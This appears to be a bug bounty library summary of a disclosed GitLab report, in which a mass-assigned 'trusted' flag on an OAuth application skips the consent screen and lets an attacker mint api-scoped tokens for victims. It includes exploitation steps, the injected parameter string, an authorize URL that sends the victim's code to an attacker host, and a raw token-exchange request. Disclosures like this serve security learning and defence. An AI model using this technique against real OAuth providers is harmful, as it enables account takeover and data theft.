# Mint Oauth2 access token for targeted user

Group owner mass-assigned `trusted=1` on an OAuth application, bypassing the consent screen so any victim clicking an authorize link silently yielded an api-scoped token.

- Payout: $5,580
- Severity: high
- Program: GitLab
- Found by: timothyleung
- Disclosed: 2025-07-23
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1148364
- Library page: https://bugbountylibrary.com/r/h1%3A1148364
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:oauth technique:mass-assignment vuln:auth-bypass

**Target:** GitLab OAuth2 authorization flow / group-level Applications settings
**Root cause:** The group-level application update endpoint accepted the `doorkeeper_application[trusted]` parameter (intended only for instance admins), letting a group owner mark their app trusted. Trusted apps skip the user consent/authorization prompt, so the CSRF protection on the authorize flow was effectively bypassed.
**Steps:**
1. As user1, create a group and an Application under Settings > Applications with `api` scope.
2. Edit the application, intercept the Save request, and inject `doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&` to set trusted=true.
3. Send victim `https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker>.com&client_id=<id>&scope=api` (or embed in an img tag).
4. Victim's browser is redirected to attacker redirect_uri with `?code=...` without any consent prompt.
5. Exchange the code at `POST /login/oauth/access_token` with `client_id`, `client_secret`, and `code` to receive `access_token=...&scope=api`.
**How found:** Noticed that the group-level application form accepted the `trusted` attribute that is meant to be admin-only, and reasoned that trusted apps skip the consent step, defeating the CSRF protection on the authorization flow.
**Exploitation:** Attacker (group owner) creates a trusted OAuth app, lures a victim to the authorize URL; because the app is trusted no consent screen appears and the code is delivered to the attacker's redirect_uri. Attacker exchanges the code using their client_secret to mint an api-scoped bearer token, then calls the GitLab API as the victim.
**Insight:** On OAuth providers, look for mass-assignment of the `trusted`/`skip_consent`/`first_party` flag on non-admin application-management endpoints; a trusted client turns a consent-gated authorize flow into a silent code-delivery primitive.

## Proof of concept (copied exactly from the original report)

**Trusted param injection on application save**

```
append the following 
`doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1& ` This will allow us to create an application that is trusted by default.
```

**Token minting POST request**

```
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: perf_bar_enabled=true; experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltTTBaR0ZsWWpWa0xXUXdPRFV0TkRjM05TMWlPRGxtTFRVMk5UYzJORFF3WXpsa01pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--364fb7d4479cb94e08660b9c20f6b7692c7e53a4; _gitlab_session_a577db8f7188ca777cf6a20a7928c67f45ba397ca4a4a162d17662b5e845194c=d114336bb9c2a113ff2e6d5542e17a63; known_sign_in=bGtzOVNNWWY1SitJVDBMUE5WS0VqbXBvbWRyRzhLaXdzKyt6L0FpanZIMndzYVhRUHZpYnlncjJFSFJzNEl3b0dvMlNaVEF4d25PRys4ZDFiYmgvRUpVRWRVdlVRL3YyUXNaUEx4LzExL25YTWk2KzBIUlg3dldFQlpkQ2dDL2YtLTc4cUhhZmJrK2JUckRvT0FONjBRZ1E9PQ%3D%3D--ddb6a3bf3b2faa846ab4a0b2e0ecef561f0c5a99; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Content-Length: 223

code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4
```

